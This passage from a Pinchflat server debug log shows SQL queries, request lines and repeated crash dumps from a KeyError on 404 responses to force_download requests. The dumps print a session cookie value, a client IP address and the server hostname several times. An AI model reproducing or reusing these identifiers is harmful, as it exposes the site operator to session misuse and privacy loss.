"force_download"], pat (truncated) 17:53:42.402 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.403 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.403 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.404 [info] GET /media/11499815-12e6-4334-9a37-d1f4d963efe1/stream 17:53:42.404 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "11499815-12e6-4334-9a37-d1f4d963efe1", "v" => "1787045354"} Pipelines: [:maybe_basic_auth] 17:53:42.404 [info] Sent 200 in 5ms 17:53:42.405 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["11499815-12e6-4334-9a37-d1f4d963efe1"] 17:53:42.405 [debug] Invalid range request for media item: 11499815-12e6-4334-9a37-d1f4d963efe1 - serving full file 17:53:42.405 [info] Sent 200 in 730µs 17:53:42.410 [info] GET /sources/2/media/469491/edit 17:53:42.410 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "469491", "source_id" => "2"} Pipelines: [:browser] 17:53:42.411 [debug] QUERY OK source="media_items" db=0.2ms idle=8.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 17:53:42.411 [debug] QUERY OK source="settings" db=0.2ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.411 [debug] QUERY OK source="settings" db=0.1ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.412 [debug] QUERY OK source="settings" db=0.1ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.413 [info] Sent 200 in 2ms 17:53:42.413 [info] GET /sources/2/media/469491/force_download 17:53:42.413 [debug] QUERY OK source="settings" db=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.414 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.414 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:42.414 [error] #PID<0.162919.0> running PinchflatWeb.Endpoint (connection #PID<0.162918.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/469491/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48110}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162919.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/469491/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT1MR6LFIdZsAFpBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48110}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48110}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162919.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], pat (truncated) 17:53:42.472 [info] GET /sources/2/media/469491 17:53:42.472 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "469491", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 17:53:42.473 [debug] QUERY OK source="media_items" db=0.1ms idle=61.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 17:53:42.473 [debug] QUERY OK source="tasks" db=0.1ms idle=61.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [469491] 17:53:42.474 [debug] QUERY OK source="sources" db=0.3ms idle=61.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.478 [debug] QUERY OK source="oban_jobs" db=4.4ms idle=60.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16414, 16642] 17:53:42.479 [debug] QUERY OK source="settings" db=0.1ms idle=65.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.479 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.479 [debug] QUERY OK source="settings" db=0.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.480 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.482 [info] Sent 200 in 9ms 17:53:42.487 [info] GET /sources/2/media/482073/force_download 17:53:42.488 [debug] QUERY OK source="settings" db=0.1ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.488 [debug] QUERY OK source="settings" db=0.1ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.488 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:42.490 [info] GET /media/9ef8f758-2187-4189-871e-9a0f0d06923b/stream 17:53:42.490 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "9ef8f758-2187-4189-871e-9a0f0d06923b", "v" => "1786932138"} Pipelines: [:maybe_basic_auth] 17:53:42.488 [error] #PID<0.162926.0> running PinchflatWeb.Endpoint (connection #PID<0.162925.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/482073/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162925.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48124}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162926.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/482073/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT1eAhaI32z4AFpBh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162925.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48124}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162925.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48124}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162926.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], pat (truncated) 17:53:42.490 [debug] QUERY OK source="media_items" db=0.4ms idle=10.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["9ef8f758-2187-4189-871e-9a0f0d06923b"] 17:53:42.491 [debug] Invalid range request for media item: 9ef8f758-2187-4189-871e-9a0f0d06923b - serving full file 17:53:42.491 [info] Sent 200 in 971µs 17:53:42.492 [info] GET /sources/new 17:53:42.493 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 17:53:42.493 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=13.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:53:42.493 [debug] QUERY OK source="settings" db=0.1ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.494 [debug] QUERY OK source="settings" db=0.1ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.494 [debug] QUERY OK source="settings" db=0.1ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.494 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.495 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.499 